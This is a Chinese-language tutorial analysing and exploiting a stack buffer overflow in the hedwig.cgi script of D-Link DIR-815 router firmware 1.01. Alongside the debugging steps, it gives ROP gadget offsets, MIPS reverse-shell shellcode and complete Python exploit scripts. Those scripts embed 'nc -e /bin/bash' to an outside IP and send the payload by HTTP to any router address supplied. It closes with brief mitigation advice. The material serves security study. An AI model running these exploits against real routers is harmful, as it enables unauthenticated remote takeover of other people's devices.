DIR815缓冲区溢出漏洞再分析
字数 1729 2025-08-22 12:22:48
DIR815缓冲区溢出漏洞分析与利用教学文档
漏洞概述
DIR815路由器存在一个缓冲区溢出漏洞,影响"hedwig.cgi" CGI脚本。未经认证的远程攻击者可以通过传递超长的Cookie值来触发该漏洞,导致程序栈溢出,从而获得路由器的远程控制权限。
漏洞关键点
- 漏洞组件:
hedwig.cgi(实际指向./htdocs/cgibin) - 触发条件:HTTP_COOKIE中"uid="后的值过长
- 漏洞函数:
hedwigcgi_main()中的sprintf函数 - 影响版本:DIR815_FIRMWARE_1.01
环境准备
调试环境
- Ubuntu 16.04 x64/x32
- IDA 6.8/7.0
- QEMU 2.5
- Ghidra
固件获取与解压
ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP
binwalk -Me DIR-815_FIRMWARE_1.01.ZIP
漏洞定位与分析
漏洞定位步骤
- 查找CGI文件:
find . -name '*cgi' - 确认符号链接:
ls -l ./htdocs/web/hedwig.cgi - 使用IDA/Ghidra搜索"HTTP_COOKIE"字符串
- 找到
sess_get_uid函数并交叉引用到hedwigcgi_main
漏洞代码分析
hedwigcgi_main函数通过sess_get_uid()获取HTTP_COOKIE中"uid="后的值,并使用sprintf将其拷贝到栈中,未进行长度检查导致栈溢出。
关键点:
- 有两个
sprintf可能导致溢出 - 第一个
sprintf是主要漏洞点 - 需要创建
/var/tmp目录才能到达第二个sprintf - POST数据需包含"uid=……"才能完整执行流程
动态调试
QEMU用户模式调试
使用以下脚本进行调试:
#!/bin/bash
test=$(python -c "print 'uid='+open('test','r').read(2000)")
LEN=$(echo -n "$test" | wc -c)
PORT="23957"
cp $(which qemu-mipsel-static) ./qemu
sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$test -E REQUEST_URL="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null
rm -f ./qemu
确定偏移量
- 使用patternLocOffset.py生成测试字符串
- 调试确定ra寄存器值
- 计算缓冲区距离ra的距离
- 第一个
sprintf偏移:1043 - 第二个
sprintf偏移:1009
- 第一个
漏洞利用
利用方式一:system函数
-
定位system函数地址
- libuClibc-0.9.30.1.so基地址:0x76738000
- system函数偏移:0x53200
- 真实地址:0x76738000+0x53200=0x7678b200
-
绕过0字节问题
- 使用0x7678b1ff(system-1)
- 通过gadget加1恢复
-
ROP链构造
- gadget1 (0x159cc): 将栈数据存入寄存器
- gadget2 (0x45988): 寄存器值加1
利用方式二:sleep(1)函数
解决缓存一致性问题(cache incoherency),确保shellcode正确执行。
ROP链构造:
- gadget1 (0x57E50): 设置a0=1
- gadget2 (0x3B8A8): 控制函数返回
- gadget3 (0x14F28): 将栈地址存入寄存器
- gadget4 (0x1DD08): 跳转到shellcode
Shellcode构造
反弹shell的MIPS shellcode,需修改IP和端口:
shellcode = ""
shellcode += "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
# ... 其他shellcode部分 ...
QEMU系统模式调试
环境配置
- 启动QEMU系统模式:
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
- 配置HTTP服务:
- 修改conf文件设置IP和端口
- 准备动态链接库
- 创建符号链接
调试技巧
- 关闭地址随机化:
echo 0 > /proc/sys/kernel/randomize_va_space
- 获取内存映射:
/htdocs/web/hedwig.cgi & cat /proc/pid/maps
Firmadyne仿真测试
测试步骤
- 安装配置Firmadyne
- 启动仿真环境
- 扫描开放端口(通常为53,80,49152)
- 使用构造的exp进行测试
实体机测试
刷写1.01版本固件后,使用相同exp验证漏洞。
完整EXP示例
system函数利用
#!/usr/bin/python2
from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x77f34000
system_addr_1 = 0x53200-1
gadget1 = 0x45988
gadget2 = 0x159cc
cmd = 'nc -e /bin/bash 192.168.79.145 9999'
padding = 'A' * 973
padding += p32(base_addr + system_addr_1) # s0
padding += p32(base_addr + gadget2) # s1
padding += 'A' * 4 # s2
# ... 其他寄存器填充 ...
padding += p32(base_addr + gadget1) # ra
padding += 'B' * 0x10
padding += cmd
f = open("exploit", 'wb+')
f.write(padding)
f.close()
sleep(1)调用shellcode
#!/usr/bin/python2
from pwn import *
context.endian = "little"
context.arch = "mips"
# shellcode部分
shellcode = ""
shellcode += "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
# ... 完整shellcode ...
libc_base = 0x77f34000
sleep = 0x56BD0
gadget1 = 0x57E50
gadget2 = 0x3B8A8
gadget3 = 0x14F28
gadget4 = 0x1DD08
payload = 'A' * 973
payload += 'A' * 4 # s0
payload += p32(libc_base + gadget2) # s1
payload += p32(libc_base + sleep) # s2
# ... 其他寄存器填充 ...
payload += p32(libc_base + gadget1) # ra
payload += 'B' * 0x24
payload += p32(libc_base + gadget3) # $(sp+0x24)
payload += 'c' * 0x18
payload += shellcode
f = open("exploit2", 'wb+')
f.write(payload)
f.close()
HTTP报文利用
Python请求示例
#!/usr/bin/python
from pwn import *
import requests
import sys
def get_payload(offset, libc_base, cmd):
# payload构造逻辑
return payload
if __name__ == "__main__":
cmd = "nc -e /bin/bash 192.168.79.145 9999"
cookie = 'uid=' + get_payload(973, 0x77f34000, cmd)
header = {
'Cookie': cookie,
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '100'
}
data = {'uid': '1234'}
ip_port = sys.argv[1]
url = "http://" + ip_port + "/hedwig.cgi"
r = requests.post(url=url, headers=header, data=data)
print r.text
总结与防护
漏洞总结
- 漏洞成因:未检查用户输入的HTTP_COOKIE长度
- 利用方式:通过ROP链控制程序流
- 影响范围:DIR815特定固件版本
防护建议
- 更新到最新固件版本
- 输入验证:检查HTTP_COOKIE长度
- 启用栈保护机制
- 禁用不必要的CGI脚本
学习要点
- MIPS架构下的缓冲区溢出利用
- QEMU多种调试模式的使用
- ROP链在MIPS环境下的构造
- 路由器固件分析的基本流程